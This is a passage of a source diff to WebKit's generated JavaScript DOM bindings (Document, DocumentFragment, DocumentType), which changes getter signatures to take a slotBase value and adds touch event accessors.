+JSC::JSValue jsDocumentXMLStandalone(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDocumentXMLStandalone(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDocumentDocumentURI(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDocumentDocumentURI(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDocumentDocumentURI(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDocumentDefaultView(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsDocumentStyleSheets(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsDocumentTitle(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDocumentDefaultView(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+JSC::JSValue jsDocumentStyleSheets(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+JSC::JSValue jsDocumentTitle(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDocumentTitle(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDocumentReferrer(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsDocumentDomain(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDocumentReferrer(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+JSC::JSValue jsDocumentDomain(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDocumentDomain(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDocumentURL(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsDocumentCookie(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDocumentURL(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+JSC::JSValue jsDocumentCookie(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDocumentCookie(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDocumentBody(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDocumentBody(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDocumentBody(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDocumentHead(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsDocumentImages(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsDocumentApplets(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsDocumentLinks(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsDocumentForms(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsDocumentAnchors(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsDocumentLastModified(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsDocumentLocation(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDocumentHead(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+JSC::JSValue jsDocumentImages(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+JSC::JSValue jsDocumentApplets(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+JSC::JSValue jsDocumentLinks(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+JSC::JSValue jsDocumentForms(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+JSC::JSValue jsDocumentAnchors(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+JSC::JSValue jsDocumentLastModified(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+JSC::JSValue jsDocumentLocation(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDocumentLocation(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDocumentCharset(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDocumentCharset(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDocumentCharset(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDocumentDefaultCharset(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsDocumentReadyState(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsDocumentCharacterSet(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsDocumentPreferredStylesheetSet(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsDocumentSelectedStylesheetSet(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDocumentDefaultCharset(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+JSC::JSValue jsDocumentReadyState(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+JSC::JSValue jsDocumentCharacterSet(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+JSC::JSValue jsDocumentPreferredStylesheetSet(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+JSC::JSValue jsDocumentSelectedStylesheetSet(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDocumentSelectedStylesheetSet(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDocumentOnabort(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDocumentOnabort(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDocumentOnabort(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDocumentOnblur(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDocumentOnblur(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDocumentOnblur(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDocumentOnchange(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDocumentOnchange(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDocumentOnchange(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDocumentOnclick(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDocumentOnclick(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDocumentOnclick(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDocumentOncontextmenu(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDocumentOncontextmenu(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDocumentOncontextmenu(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDocumentOndblclick(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDocumentOndblclick(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDocumentOndblclick(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDocumentOndrag(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDocumentOndrag(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDocumentOndrag(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDocumentOndragend(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDocumentOndragend(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDocumentOndragend(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDocumentOndragenter(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDocumentOndragenter(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDocumentOndragenter(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDocumentOndragleave(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDocumentOndragleave(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDocumentOndragleave(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDocumentOndragover(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDocumentOndragover(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDocumentOndragover(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDocumentOndragstart(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDocumentOndragstart(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDocumentOndragstart(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDocumentOndrop(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDocumentOndrop(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDocumentOndrop(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDocumentOnerror(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDocumentOnerror(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDocumentOnerror(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDocumentOnfocus(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDocumentOnfocus(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDocumentOnfocus(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDocumentOninput(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDocumentOninput(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDocumentOninput(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDocumentOninvalid(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDocumentOninvalid(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDocumentOninvalid(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDocumentOnkeydown(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDocumentOnkeydown(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDocumentOnkeydown(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDocumentOnkeypress(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDocumentOnkeypress(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDocumentOnkeypress(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDocumentOnkeyup(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDocumentOnkeyup(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDocumentOnkeyup(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDocumentOnload(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDocumentOnload(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDocumentOnload(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDocumentOnmousedown(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDocumentOnmousedown(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDocumentOnmousedown(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDocumentOnmousemove(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDocumentOnmousemove(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDocumentOnmousemove(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDocumentOnmouseout(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDocumentOnmouseout(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDocumentOnmouseout(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDocumentOnmouseover(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDocumentOnmouseover(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDocumentOnmouseover(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDocumentOnmouseup(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDocumentOnmouseup(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDocumentOnmouseup(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDocumentOnmousewheel(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDocumentOnmousewheel(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDocumentOnmousewheel(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDocumentOnscroll(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDocumentOnscroll(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDocumentOnscroll(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDocumentOnselect(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDocumentOnselect(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDocumentOnselect(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDocumentOnsubmit(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDocumentOnsubmit(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDocumentOnsubmit(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDocumentOnbeforecut(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDocumentOnbeforecut(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDocumentOnbeforecut(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDocumentOncut(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDocumentOncut(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDocumentOncut(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDocumentOnbeforecopy(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDocumentOnbeforecopy(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDocumentOnbeforecopy(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDocumentOncopy(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDocumentOncopy(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDocumentOncopy(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDocumentOnbeforepaste(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDocumentOnbeforepaste(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDocumentOnbeforepaste(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDocumentOnpaste(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDocumentOnpaste(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDocumentOnpaste(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDocumentOnreset(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDocumentOnreset(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDocumentOnreset(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDocumentOnsearch(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDocumentOnsearch(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDocumentOnsearch(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDocumentOnselectstart(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDocumentOnselectstart(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDocumentOnselectstart(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDocumentConstructor(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDocumentOntouchstart(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+void setJSDocumentOntouchstart(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
+JSC::JSValue jsDocumentOntouchmove(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+void setJSDocumentOntouchmove(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
+JSC::JSValue jsDocumentOntouchend(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+void setJSDocumentOntouchend(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
+JSC::JSValue jsDocumentOntouchcancel(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+void setJSDocumentOntouchcancel(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
+JSC::JSValue jsDocumentConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 
 } // namespace WebCore
 
diff --git a/src/3rdparty/webkit/WebCore/generated/JSDocumentFragment.cpp b/src/3rdparty/webkit/WebCore/generated/JSDocumentFragment.cpp
index 19a132e..478c673 100644
--- a/src/3rdparty/webkit/WebCore/generated/JSDocumentFragment.cpp
+++ b/src/3rdparty/webkit/WebCore/generated/JSDocumentFragment.cpp
@@ -40,7 +40,7 @@ ASSERT_CLASS_FITS_IN_CELL(JSDocumentFragment);
 
 static const HashTableValue JSDocumentFragmentTableValues[2] =
 {
-    { "constructor", DontEnum|ReadOnly, (intptr_t)jsDocumentFragmentConstructor, (intptr_t)0 },
+    { "constructor", DontEnum|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDocumentFragmentConstructor), (intptr_t)0 },
     { 0, 0, 0, 0 }
 };
 
@@ -79,7 +79,7 @@ public:
 
     static PassRefPtr<Structure> createStructure(JSValue proto) 
     { 
-        return Structure::create(proto, TypeInfo(ObjectType, StructureFlags)); 
+        return Structure::create(proto, TypeInfo(ObjectType, StructureFlags), AnonymousSlotCount); 
     }
     
 protected:
@@ -102,8 +102,8 @@ bool JSDocumentFragmentConstructor::getOwnPropertyDescriptor(ExecState* exec, co
 
 static const HashTableValue JSDocumentFragmentPrototypeTableValues[3] =
 {
-    { "querySelector", DontDelete|Function, (intptr_t)jsDocumentFragmentPrototypeFunctionQuerySelector, (intptr_t)1 },
-    { "querySelectorAll", DontDelete|Function, (intptr_t)jsDocumentFragmentPrototypeFunctionQuerySelectorAll, (intptr_t)1 },
+    { "querySelector", DontDelete|Function, (intptr_t)static_cast<NativeFunction>(jsDocumentFragmentPrototypeFunctionQuerySelector), (intptr_t)1 },
+    { "querySelectorAll", DontDelete|Function, (intptr_t)static_cast<NativeFunction>(jsDocumentFragmentPrototypeFunctionQuerySelectorAll), (intptr_t)1 },
     { 0, 0, 0, 0 }
 };
 
@@ -153,9 +153,9 @@ bool JSDocumentFragment::getOwnPropertyDescriptor(ExecState* exec, const Identif
     return getStaticValueDescriptor<JSDocumentFragment, Base>(exec, &JSDocumentFragmentTable, this, propertyName, descriptor);
 }
 
-JSValue jsDocumentFragmentConstructor(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDocumentFragmentConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDocumentFragment* domObject = static_cast<JSDocumentFragment*>(asObject(slot.slotBase()));
+    JSDocumentFragment* domObject = static_cast<JSDocumentFragment*>(asObject(slotBase));
     return JSDocumentFragment::getConstructor(exec, domObject->globalObject());
 }
 JSValue JSDocumentFragment::getConstructor(ExecState* exec, JSGlobalObject* globalObject)
diff --git a/src/3rdparty/webkit/WebCore/generated/JSDocumentFragment.h b/src/3rdparty/webkit/WebCore/generated/JSDocumentFragment.h
index 83120bf..a834d41 100644
--- a/src/3rdparty/webkit/WebCore/generated/JSDocumentFragment.h
+++ b/src/3rdparty/webkit/WebCore/generated/JSDocumentFragment.h
@@ -39,7 +39,7 @@ public:
 
     static PassRefPtr<JSC::Structure> createStructure(JSC::JSValue prototype)
     {
-        return JSC::Structure::create(prototype, JSC::TypeInfo(JSC::ObjectType, StructureFlags));
+        return JSC::Structure::create(prototype, JSC::TypeInfo(JSC::ObjectType, StructureFlags), AnonymousSlotCount);
     }
 
     static JSC::JSValue getConstructor(JSC::ExecState*, JSC::JSGlobalObject*);
@@ -58,7 +58,7 @@ public:
     virtual bool getOwnPropertyDescriptor(JSC::ExecState*, const JSC::Identifier&, JSC::PropertyDescriptor&);
     static PassRefPtr<JSC::Structure> createStructure(JSC::JSValue prototype)
     {
-        return JSC::Structure::create(prototype, JSC::TypeInfo(JSC::ObjectType, StructureFlags));
+        return JSC::Structure::create(prototype, JSC::TypeInfo(JSC::ObjectType, StructureFlags), AnonymousSlotCount);
     }
     JSDocumentFragmentPrototype(NonNullPassRefPtr<JSC::Structure> structure) : JSC::JSObject(structure) { }
 protected:
@@ -71,7 +71,7 @@ JSC::JSValue JSC_HOST_CALL jsDocumentFragmentPrototypeFunctionQuerySelector(JSC:
 JSC::JSValue JSC_HOST_CALL jsDocumentFragmentPrototypeFunctionQuerySelectorAll(JSC::ExecState*, JSC::JSObject*, JSC::JSValue, const JSC::ArgList&);
 // Attributes
 
-JSC::JSValue jsDocumentFragmentConstructor(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDocumentFragmentConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 
 } // namespace WebCore
 
diff --git a/src/3rdparty/webkit/WebCore/generated/JSDocumentType.cpp b/src/3rdparty/webkit/WebCore/generated/JSDocumentType.cpp
index 3ca49dd..5b3b128 100644
--- a/src/3rdparty/webkit/WebCore/generated/JSDocumentType.cpp
+++ b/src/3rdparty/webkit/WebCore/generated/JSDocumentType.cpp
@@ -38,13 +38,13 @@ ASSERT_CLASS_FITS_IN_CELL(JSDocumentType);
 
 static const HashTableValue JSDocumentTypeTableValues[8] =
 {
-    { "name", DontDelete|ReadOnly, (intptr_t)jsDocumentTypeName, (intptr_t)0 },
-    { "entities", DontDelete|ReadOnly, (intptr_t)jsDocumentTypeEntities, (intptr_t)0 },
-    { "notations", DontDelete|ReadOnly, (intptr_t)jsDocumentTypeNotations, (intptr_t)0 },
-    { "publicId", DontDelete|ReadOnly, (intptr_t)jsDocumentTypePublicId, (intptr_t)0 },
-    { "systemId", DontDelete|ReadOnly, (intptr_t)jsDocumentTypeSystemId, (intptr_t)0 },
-    { "internalSubset", DontDelete|ReadOnly, (intptr_t)jsDocumentTypeInternalSubset, (intptr_t)0 },
-    { "constructor", DontEnum|ReadOnly, (intptr_t)jsDocumentTypeConstructor, (intptr_t)0 },
+    { "name", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDocumentTypeName), (intptr_t)0 },
+    { "entities", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDocumentTypeEntities), (intptr_t)0 },
+    { "notations", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDocumentTypeNotations), (intptr_t)0 },
+    { "publicId", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDocumentTypePublicId), (intptr_t)0 },
+    { "systemId", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDocumentTypeSystemId), (intptr_t)0 },
+    { "internalSubset", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDocumentTypeInternalSubset), (intptr_t)0 },
+    { "constructor", DontEnum|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDocumentTypeConstructor), (intptr_t)0 },
     { 0, 0, 0, 0 }
 };
 
@@ -83,7 +83,7 @@ public:
 
     static PassRefPtr<Structure> createStructure(JSValue proto) 
     { 
-        return Structure::create(proto, TypeInfo(ObjectType, StructureFlags)); 
+        return Structure::create(proto, TypeInfo(ObjectType, StructureFlags), AnonymousSlotCount); 
     }
     
 protected:
@@ -145,57 +145,63 @@ bool JSDocumentType::getOwnPropertyDescriptor(ExecState* exec, const Identifier&
     return getStaticValueDescriptor<JSDocumentType, Base>(exec, &JSDocumentTypeTable, this, propertyName, descriptor);
 }
 
-JSValue jsDocumentTypeName(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDocumentTypeName(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDocumentType* castedThis = static_cast<JSDocumentType*>(asObject(slot.slotBase()));
+    JSDocumentType* castedThis = static_cast<JSDocumentType*>(asObject(slotBase));
     UNUSED_PARAM(exec);
     DocumentType* imp = static_cast<DocumentType*>(castedThis->impl());
-    return jsString(exec, imp->name());
+    JSValue result = jsString(exec, imp->name());
+    return result;
 }
 
-JSValue jsDocumentTypeEntities(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDocumentTypeEntities(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDocumentType* castedThis = static_cast<JSDocumentType*>(asObject(slot.slotBase()));
+    JSDocumentType* castedThis = static_cast<JSDocumentType*>(asObject(slotBase));
     UNUSED_PARAM(exec);
     DocumentType* imp = static_cast<DocumentType*>(castedThis->impl());
-    return toJS(exec, castedThis->globalObject(), WTF::getPtr(imp->entities()));
+    JSValue result = toJS(exec, castedThis->globalObject(), WTF::getPtr(imp->entities()));
+    return result;
 }
 
-JSValue jsDocumentTypeNotations(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDocumentTypeNotations(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDocumentType* castedThis = static_cast<JSDocumentType*>(asObject(slot.slotBase()));
+    JSDocumentType* castedThis = static_cast<JSDocumentType*>(asObject(slotBase));
     UNUSED_PARAM(exec);
     DocumentType* imp = static_cast<DocumentType*>(castedThis->impl());
-    return toJS(exec, castedThis->globalObject(), WTF::getPtr(imp->notations()));
+    JSValue result = toJS(exec, castedThis->globalObject(), WTF::getPtr(imp->notations()));
+    return result;
 }
 
-JSValue jsDocumentTypePublicId(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDocumentTypePublicId(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDocumentType* castedThis = static_cast<JSDocumentType*>(asObject(slot.slotBase()));
+    JSDocumentType* castedThis = static_cast<JSDocumentType*>(asObject(slotBase));
     UNUSED_PARAM(exec);
     DocumentType* imp = static_cast<DocumentType*>(castedThis->impl());
-    return jsStringOrNull(exec, imp->publicId());
+    JSValue result = jsStringOrNull(exec, imp->publicId());
+    return result;
 }
 
-JSValue jsDocumentTypeSystemId(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDocumentTypeSystemId(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDocumentType* castedThis = static_cast<JSDocumentType*>(asObject(slot.slotBase()));
+    JSDocumentType* castedThis = static_cast<JSDocumentType*>(asObject(slotBase));
     UNUSED_PARAM(exec);
     DocumentType* imp = static_cast<DocumentType*>(castedThis->impl());
-    return jsStringOrNull(exec, imp->systemId());
+    JSValue result = jsStringOrNull(exec, imp->systemId());
+    return result;
 }
 
-JSValue jsDocumentTypeInternalSubset(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDocumentTypeInternalSubset(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDocumentType* castedThis = static_cast<JSDocumentType*>(asObject(slot.slotBase()));
+    JSDocumentType* castedThis = static_cast<JSDocumentType*>(asObject(slotBase));
     UNUSED_PARAM(exec);
     DocumentType* imp = static_cast<DocumentType*>(castedThis->impl());
-    return jsStringOrNull(exec, imp->internalSubset());
+    JSValue result = jsStringOrNull(exec, imp->internalSubset());
+    return result;
 }
 
-JSValue jsDocumentTypeConstructor(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDocumentTypeConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDocumentType* domObject = static_cast<JSDocumentType*>(asObject(slot.slotBase()));
